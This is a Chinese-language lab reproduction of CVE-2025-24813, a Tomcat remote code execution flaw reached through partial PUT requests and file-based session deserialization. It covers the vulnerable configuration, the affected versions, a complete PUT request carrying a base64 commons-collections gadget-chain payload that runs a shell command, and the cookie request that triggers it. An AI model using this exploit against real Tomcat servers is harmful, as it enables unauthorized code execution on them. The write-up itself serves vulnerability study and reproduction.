(CVE-2025-24813) Tomcat RCE 漏洞复现

(CVE-2025-24813) Tomcat RCE 漏洞复现

本文参考 https://forum.butian.net/article/674

漏洞概况

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发，是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂，需同时满足以下四个条件：

• 应用程序启用了DefaultServlet写入功能，该功能默认关闭
• 应用支持了 partial PUT 请求，能够将恶意的序列化数据写入到会话文件中，该功能默认开启
• 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置，需要额外配置
  应用中包含一个存在反序列化漏洞的库，比如存在于类路径下的 commons-collections，此条件取决于业务实现是否依赖存在反序列化利用链的库

影响范围

9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

环境搭建

conf/web.xml

在conf/web.xml中，将DefaultServlet的readonly配置为false，启用写入功能

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

conf/context.xml

在conf/context.xml中，添加如下配置，开启File文件会话存储

    <Manager className="org.apache.catalina.session.PersistentManager">  
      <Store className="org.apache.catalina.session.FileStore"/>  
    </Manager>  

反序化依赖-commons-collections-3.2.1.jar

为了在新的tom中实现反序化漏洞利用,可以在webapps\ROOT\WEB-INF\lib中添加

漏洞复现

commons-collections:commons-collections:3.2.1 可以使用CommonsCollectionsK1 ,CommonsCollectionsK3 等链来打

使用yakit中的yso生成

上传反序化文件

PUT /xiuxiu/session HTTP/1.1
Host: 192.168.100.1:8080
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{base64dec(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)}}

该文件会在tomcat中\work\Catalina\localhost\ROOT目录生成

使用JSESSIONID=.xiuxiu来触发漏洞,成功触发后响应500

GET / HTTP/1.1  
Host: 192.168.100.1:8080
Cookie: JSESSIONID=.xiuxiu